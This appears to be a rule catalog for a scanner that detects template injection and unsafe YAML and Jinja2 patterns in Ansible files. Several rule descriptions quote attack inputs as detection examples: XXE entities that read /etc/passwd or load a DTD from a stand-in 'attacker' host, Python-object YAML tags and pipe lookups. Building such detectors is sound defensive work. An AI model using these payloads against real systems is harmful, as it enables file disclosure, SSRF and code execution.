Template Injection

Detects template injection vulnerabilities and unsafe variable usage

19 rules in template_injection.yml

CRITICAL: 3 | HIGH: 11 | MEDIUM: 4 | LOW: 1

Rule IDSeverityTitleDescriptionRefs
jinja2_eval_via_attrCRITICALJinja2: access to class / mro / subclasses / globals (sandbox escape)Classic Jinja2 sandbox-escape primitives. If the template is ever rendered with attacker-influenced vars, these expose arbitrary Python object traversal and ultimately arbitrary code execution.
xxe_doctype_system_external_entity_in_template_or_configCRITICALXML External Entity (XXE) - DOCTYPE With SYSTEM Or PUBLIC External Reference In Template/ConfigA task renders an XML template, config file (web.xml, pom.xml, log4j2.xml, SOAP WSDL, XSLT, SVG, DOCX/ODT content), or inline XML string that declares an external entity: <!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>, <!ENTITY % xxe SYSTEM "http://attacker/evil.dtd">, or a PUBLIC reference that fetches from http:///https:///file:///jar:/gopher:. XXE is the classic XML-parser flaw: the default behavior of Java/PHP/Python/.NET XML parsers is to RESOLVE these entities - causing file disclosure (/etc/passwd, /proc/self/environ), SSRF (attacker-controlled URL fetched from victim server), and on some parsers RCE (expect: wrapper in PHP, jar: in Java). XXE has been in OWASP Top 10 since 2013 and was #4 in 2017; it dropped out of the 2021 top 10 because it got consolidated into A05 Misconfiguration - but continues to show up in pentests (OpenCVE records 200+ new XXE CVEs per year, 2022-2024). An Ansible playbook deploying config with ANY external entity reference is either (1) a compromised template or (2) intentionally hot.
yaml_python_object_tagCRITICALYAML: !!python/object or !!python/module tag (deserialisation RCE)A YAML document uses the !!python/object / !!python/module / !!python/name / !!python/apply tag family. If the file is ever loaded with yaml.load() / yaml.unsafe_load() / yaml.full_load() (any non-safe_load), the tag triggers arbitrary Python object construction = RCE. Even with safe_load this is an intent-to-abuse signal worth flagging.
jinja2_autoescape_falseHIGHJinja2: autoescape disabled explicitlyA Jinja2 template sets #jinja2: autoescape:False (or autoescape: false in a template’s frontmatter), disabling HTML autoescape for the whole file. Any {{ var }} that renders to HTML is vulnerable to XSS.
jinja2_lookup_pipe_in_templateHIGHJinja2: lookup(‘pipe’, …) / lookup(‘url’, …) inside a templateA Jinja2 template invokes lookup('pipe', <cmd>) or lookup('url', <url>). The command / URL executes on the controller during template render - if any part is interpolated from a variable, it’s an RCE/SSRF primitive the template author can easily miss.
jinja2_render_sensitive_varHIGHJinja2: template renders a likely-secret variableA Jinja2 template renders {{ something_password }} / {{ api_token }} / {{ jwt_secret }} etc. Unless the template is writing a locked-down config file (0600) that’s fine - but the pattern of rendering secrets into world-readable config files / html / json is a top-3 real-world leak vector.
jinja2_safe_filter_on_user_inputHIGHJinja2: |safe filter applied to a variable (bypasses autoescape)The |safe filter in a Jinja2 template marks a variable as pre-escaped HTML. If that variable carries any user-controlled data (inventory var, lookup result, module output, HTTP payload), autoescape is bypassed and XSS / HTML injection is trivial.
template_command_substitutionHIGHJinja Variable Rendered Into $(…) / backtick SubstitutionA shell/command/raw/template/msg value uses $(...) or backticks AND interpolates a Jinja variable inside the substitution. The rendered value is re-parsed by the inner shell - this is a command-injection vector distinct from the outer template context because | quote on the outer string does NOT escape bytes inside a nested $(...). Plain $(sha512sum file) or $(basename $f) WITHOUT a Jinja interpolation is a standard shell idiom and is not flagged.
template_in_sql_queryHIGHTemplate Variable in SQL QueryTemplate variable directly embedded in a SQL query string - classic CWE-89 SQL injection surface when the variable is attacker-influenced.
unquoted_template_variableHIGHUnquoted Template Variable in Shell CommandA shell or raw task interpolates a Jinja variable WITHOUT wrapping the whole module value in quotes and WITHOUT applying the | quote filter to the variable. The rendered variable is then subject to shell word-splitting and glob expansion - if the value contains a space or metachar the task silently mis-executes or opens a shell-injection vector. command: is EXCLUDED because it does not invoke a shell - argv is tokenised by Ansible, so spaces / metachars in the rendered variable can’t cause word-splitting. Variables protected with {{ var | quote }} are also EXCLUDED because the quote filter is Ansible’s canonical shell-escape. Always quote the entire shell: / raw: value or apply | quote to each interpolation.
user_input_templateHIGHUser Input in Template{{ … user_input / input / inputs / request / params / query_string … }} appears in template output. Untrusted input rendered through Jinja2 enables SSTI when the engine exposes attribute access to dunder methods.
yaml_anchor_bomb_potentialHIGHYAML: anchor expanded many times (billion-laughs / anchor-bomb)A YAML anchor (&name) is referenced (*name) 8+ times within a short window, or a referenced value itself contains further references. This is the billion-laughs / anchor-bomb pattern: each level multiplies memory consumption exponentially and can DoS the parser.
yaml_binary_tag_on_executableHIGHYAML: !!binary tag encoding a suspiciously long blobA YAML value uses the !!binary tag (base64 in-file). Short binary blobs (tls certs, kerberos keytabs embedded in vars) are legitimate but > 2 KB of base64 often conceals a packed executable, shellcode, or malware binary smuggled into a playbook. Flag the pattern for review.
yaml_unsafe_tag_genericHIGHYAML: generic !<…> tag that bypasses safe_load type checksA YAML value uses a fully-qualified !tag:... or !!js/function / !!js/regexp / !!perl/* tag family. These are interpreter-specific tags that rely on unsafe loaders - if this file is ever consumed by a non-safe loader it’s an RCE vector. Even in Ansible-land this is an intent-to-abuse signal.
jinja2_set_from_envMEDIUMJinja2: {% set %} value pulled from controller env varA {% set x = lookup('env', 'SOMETHING') %} in a Jinja2 template reads a controller-side environment variable at render time and bakes it into the rendered file. This exfiltrates controller env (SSH keys, cloud creds, CI secrets) into the output file if the variable name is ever attacker-influenced.
template_in_file_pathMEDIUMTemplate Variable in File PathUntrusted template variable used in file paths without validation - potential path-traversal sink
yaml_duplicate_key_suppressionMEDIUMYAML: duplicate key in the same map (silent override)The same key appears twice in the same YAML map - PyYAML silently keeps the LAST value. If the file is reviewed bottom-up or in split diff, a reviewer can easily miss that an early security-relevant value (e.g. no_log: true) is shadowed by a later no_log: false.
yaml_merge_key_with_secretMEDIUMYAML: merge key («) pulls in a map that contains secret-shaped keysYAML merge key <<: *anchor pulls every key from the anchored map into the current map. If the anchored map carries a key matching a secret pattern (*_password, *_token, *_secret, *_api_key), merging silently scatters that secret into every place the anchor is referenced. Review each merge site individually.
jinja2_comment_contains_todo_secretLOWJinja2: {# #} comment mentions TODO/FIXME + secret-shaped wordA Jinja2 {# … #} comment mentions TODO/FIXME along with a credential-shaped word (password, token, secret, api_key). Often these are ‘TODO: hardcoded for now, rotate later’ notes that never get rotated - they’re a leak indicator for reviewers even if the current value is placeholder.